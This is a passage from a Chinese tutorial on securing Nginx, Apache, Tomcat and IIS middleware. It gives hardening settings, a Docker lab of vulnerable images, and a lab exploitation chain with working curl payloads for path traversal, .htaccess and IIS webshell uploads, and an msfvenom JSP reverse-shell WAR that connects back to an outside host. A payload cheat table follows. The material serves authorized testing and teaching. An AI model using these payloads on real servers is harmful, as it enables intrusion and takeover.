中间件应以独立低权限账户运行，避免 root/administrator。日志应集中存储、防篡改并设置保留周期。

# Nginx 最小权限运行
user nginx nginx;

# 日志集中与权限
chmod 640 /var/log/nginx/*.log
chown nginx:adm /var/log/nginx/*.log
# 日志轮转防篡改
logrotate /etc/logrotate.d/nginx

13.6 性能与安全平衡

安全加固需兼顾性能：过严的 limit_req 可能误杀正常用户，过小的 client_max_body_size 会阻断文件上传。建议在测试环境压测后再调整阈值，启用灰度发布观察效果。

十四、靶场实战：中间件漏洞利用链

14.1 靶场环境搭建

使用 Docker Compose 部署含已知漏洞的中间件靶场。

# docker-compose.yml
version: "3"
services:
  nginx-vuln:
    image: nginx:1.15
    ports:
      - "8081:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
  apache-vuln:
    image: httpd:2.4.49
    ports:
      - "8082:80"
    volumes:
      - ./httpd.conf:/usr/local/apache2/conf/httpd.conf
  tomcat-vuln:
    image: tomcat:9.0.30
    ports:
      - "8083:8080"
      - "8009:8009"
  iis-vuln:
    image: mcr.microsoft.com/windows/servercore/iis
    ports:
      - "8084:80"

14.2 信息收集阶段

# 端口与服务发现
nmap -sV -p 8081-8084,8009 target

# 指纹识别
whatweb http://target:8081
curl -sI http://target:8082 | grep -i server

14.3 Nginx配置错误利用

# 检测 alias 穿越
curl --path-as-is "http://target:8081/files../etc/passwd"
# 命中后读取敏感配置，进一步定位后端

14.4 Apache .htaccess利用

# 探测 .htaccess 是否生效
curl -X PUT "http://target:8082/upload/.htaccess" -d 'AddType application/x-httpd-php .jpg'
# 上传图片马并访问
curl "http://target:8082/upload/shell.jpg"

14.5 Tomcat后台利用

# 尝试默认口令
curl -u tomcat:tomcat "http://target:8083/manager/html"
# 部署 WAR 反弹 shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f war -o s.war
curl -u tomcat:tomcat -T s.war "http://target:8083/manager/text/deploy?path=/s"
curl "http://target:8083/s/"

14.6 IIS解析漏洞利用

# 利用 6.0 目录解析
curl "http://target:8084/a.asp/shell.jpg"
# 利用 PUT 上传
curl -X PUT "http://target:8084/shell.txt" -d '<%eval request("c")%>'

14.7 利用链总结

完整链路：信息收集定位中间件指纹 -> Nginx alias 穿越读取后端配置 -> Apache .htaccess 配置注入获取 webshell -> 通过 webshell 横向发现 Tomcat 后台 -> 部署 WAR 获取服务器权限 -> 利用 IIS 解析漏洞进入 Windows 内网。每一环节都建立在上一环节的信息基础上，体现了纵深利用的思路。

【提示】 靶场练习务必在隔离网络进行，关闭外网连接，使用快照便于回滚。切勿使用生产环境的真实配置数据。

十五、总结与参考资源

15.1 中间件安全检查清单

检查项	Nginx	Apache	Tomcat	IIS
版本号隐藏	server_tokens off	ServerTokens Prod	改 ServerInfo	移除 X-Powered-By
目录列表关闭	autoindex off	Options -Indexes	listings false	Directory Browsing off
最小权限运行	user nginx	User apache	非 root	独立应用池
HTTPS 强制	重定向 443	SSLEngine	SSL Connector	证书绑定
访问控制	allow/deny	Require	RemoteAddrValve	IP 限制
请求方法限制	limit_except	LimitExcept	readonly	Request Filtering
日志审计	access_log	CustomLog	log4j	W3C 日志
已知 CVE 修复	关注公告	关注公告	关注公告	系统更新

15.2 漏洞速查表

漏洞	中间件	触发条件	利用 payload 关键字	修复
alias 穿越	Nginx	alias 斜杠不一致	/files…/etc/passwd	斜杠一致
CRLF 注入	Nginx	$uri 拼接响应头	%0d%0a	用 $request_uri
fix_pathinfo	Nginx+PHP	cgi.fix_pathinfo=1	shell.jpg/.php	security.limit_extensions
.htaccess 注入	Apache	AllowOverride 开启	AddType .php	AllowOverride None
多扩展名解析	Apache	AddHandler .php	shell.php.jpg	SetHandler + FilesMatch
HTTPoxy	Apache CGI	信任 Proxy 头	Proxy: http://evil	unset Proxy 头
CVE-2021-41773	Apache 2.4.49	路径规范化	.%2e/.%2e	升级 2.4.51
Manager 部署	Tomcat	弱口令	/manager/html	强口令+删应用
CVE-2020-1938	Tomcat	8009 暴露	AJP 包含	关闭/加密 AJP
目录解析	IIS 6.0	.asp 目录	/x.asp/shell.jpg	升级
HTTP.sys	IIS	Range 头	Range: bytes=0-…max	系统补丁

15.3 配置速查表

场景	Nginx	Apache
隐藏版本	server_tokens off	ServerTokens Prod; ServerSignature Off
禁目录列表	autoindex off	Options -Indexes
限速	limit_req zone burst	mod_evasive / mod_ratelimit
限连接	limit_conn	MaxRequestWorkers
限方法	limit_except GET POST	LimitExcept
安全头	add_header X-Frame-Options	Header set X-Frame-Options
HTTPS	ssl_protocols TLSv1.2	SSLProtocol -all +TLSv1.2
访问控制	allow/deny	Require ip
关闭上传执行	location ~ .php$ deny	php_admin_flag engine off

15.4 参考资源

• Nginx 官方安全公告与文档：nginx.org/en/security_advisories.html
• Apache HTTP Server 安全文档：httpd.apache.org/security
• OWASP Secure Configuration Guide：owasp.org
• NVD 国家漏洞数据库：nvd.nist.gov
• Tomcat 安全公告：tomcat.apache.org/security
• Microsoft 安全响应中心：msrc.microsoft.com
• 各中间件官方 CVE 修复版本与升级指南

【合规声明】 本文所述技术仅限授权测试与安全研究使用。在实际环境中应用任何检测或加固方案前，请获得资产所有者书面授权，并遵守所在地网络安全法律法规。读者应对自身行为负全部法律责任。

15.5 结语

中间件安全攻防是 Web 安全的纵深战场。Nginx 与 Apache 的配置灵活性与复杂性决定了配置错误类漏洞将长期存在，而 Tomcat、IIS 的历史 CVE 也提醒我们：及时打补丁与最小化部署同样关键。掌握 location 匹配优先级、alias/root 差异、AddHandler/SetHandler 区别、AJP 协议风险与请求走私原理，是构建主动防御能力的基础。希望本文的配置详解、漏洞分析与加固清单能为你的安全实践提供系统参考，在攻防两端都做到知己知彼。